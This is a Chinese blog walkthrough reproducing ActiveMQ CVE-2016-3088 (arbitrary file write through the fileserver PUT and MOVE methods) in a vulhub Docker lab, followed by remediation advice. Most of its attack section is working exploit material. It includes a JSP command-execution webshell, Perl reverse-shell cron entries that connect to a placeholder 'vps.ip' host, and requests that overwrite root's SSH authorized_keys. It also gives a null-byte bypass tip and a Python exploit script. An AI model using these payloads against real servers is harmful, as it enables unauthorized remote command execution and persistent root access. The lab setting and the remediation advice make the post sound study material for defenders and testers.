ActiveMQ 任意文件写入漏洞(CVE-2016-3088)复现

ActiveMQ 任意文件写入漏洞(CVE-2016-3088)复现

导语

ActiveMQ的web控制台分三个应用:admin、api和fileserver,其中admin是管理员页面,api是接口,fileserver是储存文件的接口。admin和api都需要登录后才能使用,fileserver无需登录。

fileserver是一个RESTful API接口,我们可以通过GET、PUT、DELETE等HTTP请求对其中存储的文件进行读写操作,其设计目的是为了弥补消息队列操作不能传输、存储二进制文件的缺陷,但后来发现:

  1. 其使用率并不高
  2. 文件操作容易出现漏洞

漏洞影响范围是 5.0.0~5.13.x,但ActiveMQ在 5.12.x~5.13.x 版本中,已经默认关闭了fileserver这个应用(你可以在conf/jetty.xml中开启);在5.14.0版本以后,彻底删除了fileserver应用。

官方漏洞通告地址:Security Advisories - ActiveMQ 5.x

漏洞环境

git clone https://github.com/vulhub/vulhub.git
cd ~/vulhub/activemq/CVE-2016-3088

直接执行如下命令,进行漏洞靶场的编译和运行:

# 可选
docker-compose build

docker-compose up -d

P.S.为什么docker-compose build是可选的?

docker-compose up -d运行后,会自动查找当前目录下的配置文件。如果配置文件中包含的环境均已经存在,则不会再次编译;如果配置文件中包含的环境不存在,则会自动进行编译。所以,其实docker-compose up -d命令是包含了docker-compose build的。如果更新了配置文件,你可以手工执行docker-compose build来重新编译靶场环境。
在这里插入图片描述
本次docker容器中ActiveMQ 的版本是ActiveMQ 5.11.1,环境运行后,将监听61616和8161两个端口。其中61616是工作端口,消息将在这个端口进行传递。8161是Web管理页面端口,本漏洞就出现在web控制台中。访问http://your-ip:8161 看到web管理页面,说明环境成功运行。

漏洞复现

本漏洞出现在fileserver应用中,漏洞原理其实非常简单,就是fileserver支持写入文件(但不解析jsp),同时支持移动文件(MOVE请求)。所以,我们只需要写入一个文件,然后使用MOVE请求将其移动到任意位置,造成任意文件写入漏洞。

文件写入有几种利用方法:

  1. 写入webshell
  2. 写入crontab或ssh-key等文件
  3. 写入jar或jetty.xml等库或配置文件

写入webshell的好处是,门槛低更方便,但前面也说了fileserver不解析jsp,admin和api两个应用都需要登录才能访问,所以有点鸡肋;写入cron或ssh key,好处是直接反弹拿shell,也比较方便,缺点是需要root权限;写入jar,稍微麻烦点(需要jar的后门),写入xml配置文件,将admin和api的登录限制去掉,但有个条件是:知道activemq的绝对路径。

P.S.获取绝对路径方法:

  1. 需要管理员权限,访问http://your-ip:8161/admin/test/systemProperties.jsp
    在这里插入图片描述
  2. 有的版本有绝对路径泄露漏洞,构造不存在的地址,如图:
    在这里插入图片描述
  3. 当然还有别的骚操作~

下面分别测试这几种利用方法:

写入webshell

首先,访问http://your-ip:8161/admin/test/systemProperties.jsp (admin/admin),查看ActiveMQ的绝对路径为/opt/activemq
在这里插入图片描述
然后上传webshell:

PUT /fileserver/fuck.txt HTTP/1.1
Host: your-ip:8161
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:70.0) Gecko/20100101 Firefox/70.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close
Upgrade-Insecure-Requests: 1
If-Modified-Since: Fri, 13 Feb 2015 17:54:40 GMT
Cache-Control: max-age=0
Content-Length: 327

<%@ page import="java.io.*"%>
<%
 out.print("Hello</br>");
 String strcmd=request.getParameter("cmd");
 String line=null;
 Process p=Runtime.getRuntime().exec(strcmd);
 BufferedReader br=new BufferedReader(new InputStreamReader(p.getInputStream()));
 while((line=br.readLine())!=null){
 out.print(line+"</br>");
 }
%>
HTTP/1.1 204 No Content
Connection: close
Server: Jetty(8.1.16.v20140903)

移动到web目录下的api文件夹(/opt/activemq/webapps/api/shell.jsp)中:

MOVE /fileserver/fuck.txt HTTP/1.1
Destination: file:///opt/activemq/webapps/api/shell.jsp
Host: your-ip:8161
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:70.0) Gecko/20100101 Firefox/70.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close
Upgrade-Insecure-Requests: 1
If-Modified-Since: Fri, 13 Feb 2015 17:54:40 GMT
Cache-Control: max-age=0
Content-Length: 0


HTTP/1.1 500 Server Error
Connection: close
Server: Jetty(8.1.16.v20140903)

访问webshell http://your-ip:8161/api/shell.jsp?cmd=id(需要登录admin/admin):
在这里插入图片描述
成功上传webshell。

P.S.这里值得注意的是:
PUT是一个txt,因为测试发现5.11.1这个版本不能直接传jsp后缀到fileserver目录下,不然会出现 401 Unauthorized 错误,但有的低版本可以直接传jsp。如果非要传jsp后缀到fileserver目录下,可以在后缀后面添加 /%00 等绕过,MOVE时也需添加 /%00 。而fileserver目录下本来就不解析jsp文件,所以一般也用不到这个方法。但这是值得注意的,以至于你传jsp返回 401 不会懵逼。

写入crontab和ssh-key文件
写入crontab,自动弹shell

利用条件:ActiveMQ是root运行。因为cron服务是默认启动的,所以这是一个最稳的方法。

Alpine 系统:写入 /etc/cron.d/root

*/1 * * * * root /usr/bin/perl -e 'use Socket;$i="vps.ip";$p=vps.port;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
##

ubuntu 系统:写入 /var/spool/cron/crontabs/root
需要注意的是,ubuntu 不需要在*后面加 root

*/1 * * * * perl -e 'use Socket;$i="vps.ip";$p=vps.port;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

首先上传cron配置文件(注意,换行一定要\n,不能是\r\n,否则crontab执行会失败):

PUT /fileserver/cron.txt HTTP/1.1
Host: your-ip:8161
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:70.0) Gecko/20100101 Firefox/70.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close
Upgrade-Insecure-Requests: 1
If-Modified-Since: Fri, 13 Feb 2015 17:54:40 GMT
Cache-Control: max-age=0
Content-Length: 254

*/1 * * * * root /usr/bin/perl -e 'use Socket;$i="vps.ip";$p=vps.port;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
##
HTTP/1.1 204 No Content
Connection: close
Server: Jetty(8.1.16.v20140903)

将其移动到/etc/cron.d/root

MOVE /fileserver/cron.txt HTTP/1.1
Destination: file:///etc/cron.d/root
Host: your-ip:8161
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:70.0) Gecko/20100101 Firefox/70.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close
Upgrade-Insecure-Requests: 1
If-Modified-Since: Fri, 13 Feb 2015 17:54:40 GMT
Cache-Control: max-age=0
Content-Length: 0


HTTP/1.1 204 No Content
Connection: close
Server: Jetty(8.1.16.v20140903)

上述两个请求都返回204了,说明写入成功。等待反弹shell:
在这里插入图片描述

写入ssh-key,直接连接ssh

环境准备:docker容器中的环境需要安装sshd服务并且建立/root/.ssh文件夹,开启ssh-key登陆。

apt-get install openssh-server
mkdir /root/.ssh

如果未建立 /root/.ssh 文件夹,后面MOVE操作会出现 500 Server Error 错误。

/etc/ssh/sshd_config 配置文件如下:

RSAAuthentication yes 
PubkeyAuthentication yes 
AuthorizedKeysFile   .ssh/authorized_keys 

首先在攻击机上生成密钥对(如果已存在则不需要)

ssh-keygen -t rsa

在这里插入图片描述
然后将公钥 /root/.ssh/id_rsa.pub 上传

PUT /fileserver/id_rsa.pub HTTP/1.1
Host: your-ip:8161
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:70.0) Gecko/20100101 Firefox/70.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close
Upgrade-Insecure-Requests: 1
If-Modified-Since: Fri, 13 Feb 2015 17:54:40 GMT
Cache-Control: max-age=0
Content-Length: 383

ssh-rsa AAA***mJv ***@***
HTTP/1.1 204 No Content
Connection: close
Server: Jetty(8.1.16.v20140903)

将上传的公钥移动到/root/.ssh/并重命名为authorized_keys

MOVE /fileserver/id_rsa.pub HTTP/1.1
Destination: file:///root/.ssh/authorized_keys
Host: your-ip:8161
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:70.0) Gecko/20100101 Firefox/70.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close
Upgrade-Insecure-Requests: 1
If-Modified-Since: Fri, 13 Feb 2015 17:54:40 GMT
Cache-Control: max-age=0
Content-Length: 0


HTTP/1.1 204 No Content
Connection: close
Server: Jetty(8.1.16.v20140903)

攻击机上执行如下命令:

ssh -i id_rsa root@your-ip

在这里插入图片描述
成功连接ssh。

写入jar或jetty.xml等库或配置文件

理论上我们可以覆盖jetty.xml,将admin和api的登录限制去掉,然后再写入webshell。

有的情况下,jetty.xml和jar的所有人是web容器的用户,所以相比起来,写入crontab成功率更高一点。

这里就不做测试了。

移除环境

Vulhub中所有环境均为漏洞靶场,在测试结束后,请及时关闭并移除环境,避免被他人恶意利用。

虽然靶场全部运行在Docker中,但大多数恶意软件并不会因为运行在容器中就失去效果!

前面说了,docker-compose会默认根据当前目录下的配置文件启动容器,在关闭及移除环境的时候,也需要在对应目录下。我们执行docker-compose up -d后,不要离开当前目录即可,漏洞测试结束后,执行如下命令移除环境:

docker-compose down

上述命令会执行如下几个动作:

  • 关闭正在运行的容器
  • 删除所有相关容器
  • 移除NAT(docker-compose在运行的时候会创建一个NAT网段)

但不会移除编译好的漏洞镜像,下次再执行docker-compose up -d命令,就不需要再次编译相关镜像了。

P.S. docker-compose down 完整命令:

docker-compose down [options]
停止和删除容器、网络、卷、镜像。
选项包括:
--rmi type,删除镜像,类型必须是:all,删除compose文件中定义的所有镜像;local,删除镜像名为空的镜像;
-v, -volumes,删除已经在compose文件中定义的和匿名的附在容器上的数据卷;
–remove-orphans,删除服务中没有在compose中定义的容器。

修复建议

  1. ActiveMQ Fileserver 的功能在 5.14.0 及其以后的版本中已被移除。建议用户升级至 5.14.0 及其以后版本。

  2. 通过移除 conf/jetty.xml 的以下配置来禁用 ActiveMQ Fileserver 功能。

    <bean class="org.eclipse.jetty.webapp.WebAppContext">
    	<property name="contextPath" value="/fileserver" />
    	<property name="resourceBase" value="${activemq.home}/webapps/fileserver" />
    	<property name="logUrlOnStart" value="true" />
    	<property name="parentLoaderPriority" value="true" />
    </bean>
    

POC&EXP

支持xray的poc(暂时只检测PUT):

name: poc-yaml-activemq_CVE-2016-3088
set:
  r1: randomInt(5, 10)
  r2: randomLowercase(r1)
rules:
  - method: PUT
    path: /fileserver/{{r2}}
    expression: |
      response.status == 204
detail:
  author: laura_lion
  links:
    - https://github.com/Laura0xiaoshizi

exp:

#!/usr/bin/python
# -*- coding:utf-8 -*-

import re
import base64
import requests
import argparse

def exp(domain, port, passwd):
    if 'http' not in domain:
        domain = "http://" + domain
    domain = domain + ":{}".format(port)
    admin_path_domain = domain + "/admin/test/systemProperties.jsp"
    login = 'admin:{}'.format(passwd)
    login_base = base64.b64encode(login.encode('utf-8'))

    headers = {
        'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:70.0) Gecko/20100101 Firefox/70.0',
        'Authorization': 'Basic {}'.format(login_base.decode('utf-8')),
    }

    path_req = requests.get(admin_path_domain, headers=headers)
    if path_req.status_code == 200:
        root_path = re.findall('<td class="label">activemq.home</td>.*?<td>(.*?)</td>', path_req.text, re.S)[0]

        uptext = '''your code'''

        put_domain = domain + '/fileserver/shell.txt'
        put_req = requests.put(put_domain, headers=headers, data=uptext)
        if put_req.status_code == 204:
            move_file_header = {
                'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:70.0) Gecko/20100101 Firefox/70.0',
                'Destination': 'file://{}/webapps/api/shell.jsp'.format(root_path)
            }
            move_req = requests.request("MOVE", put_domain, headers=move_file_header)
            if move_req.status_code == 204:
                print("\033[1;32m[+] Success!\nFile Path:[ %s ]\033[0m" %(domain + "/api/shell.jsp"))
            else:
                print("\033[1;31m [-] Move Fail,status code's{},please check!\033[0m".format(move_req.status_code))
        else:
            print("\033[1;31m [-] Write Fail,status code's{},maybe is not CVE-2016-3088!\033[0m".format(put_req.status_code))
    else:
        print("\033[1;31m [-] Login Fail,please check the password!")

if __name__ == '__main__':
    description = '''use method:
    python3 cve-2016-3088.py -d 127.0.0.1
    python3 cve-2016-3088.py -d 127.0.0.1 -p 8161 -P password'''
    parser = argparse.ArgumentParser(description=description, formatter_class=argparse.RawDescriptionHelpFormatter)
    try:
        parser.add_argument('-d', '--domain', help='target domain, required')
        parser.add_argument('-p', '--port', default='8161', help='target port, default 8161')
        parser.add_argument('-P', '--password', default='admin', help='target password, default admin')
        args = parser.parse_args()
        exp(domain=args.domain, port=args.port, passwd=args.password)
    except:
        parser.print_help()

Reference

https://github.com/vulhub/vulhub

https://github.com/VVzv/CVE-2016-3088

  • 2
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
CVE-2016-3088是一个存在于fileserver应用中的漏洞,其原理是fileserver支持写入文件但不解析jsp,同时支持MOVE请求移动文件,通过写入一个文件,然后利用移动请求移动到任意位置,导致任意文件写入漏洞。\[1\] 要复现漏洞,可以按照以下步骤进行操作: 1. 首先,需要将shell文件移动到具有解析权限的目录中。可以使用MOVE方式将shell移动到/opt/activemq/webapps/api/目录中,如果返回包返回204,则表示移动成功。\[2\] 2. 漏洞环境需要使用centos、docker、docker-compose、vulhub。启动服务后,可以使用命令docker ps来查看服务端口。\[3\] 3. 写入webshell需要将其写入admin或api应用中,而这两个应用都需要登录才能访问。 4. 首先访问http://服务器ip:8161/admin/test/systemProperties.jsp,查看ActiveMQ的绝对路径。 5. 进入http://服务器ip:8161/fileserver,进行抓包。 6. 将GET请求修改为PUT,并在目录后加入想要上传的数据包。如果回显为204,则表示上传成功。 以上是复现CVE-2016-3088漏洞的步骤。请注意,这个漏洞已经被修复,建议及时更新相关软件以避免安全风险。 #### 引用[.reference_title] - *1* *3* [CVE-2016-3088 ActiveMQ漏洞复现](https://blog.csdn.net/zwj101010101010/article/details/126018390)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v91^insert_down28v1,239^v3^insert_chatgpt"}} ] [.reference_item] - *2* [ActiveMQ任意文件写入漏洞CVE-2016-3088复现](https://blog.csdn.net/weixin_38160576/article/details/121494757)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v91^insert_down28v1,239^v3^insert_chatgpt"}} ] [.reference_item] [ .reference_list ]
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值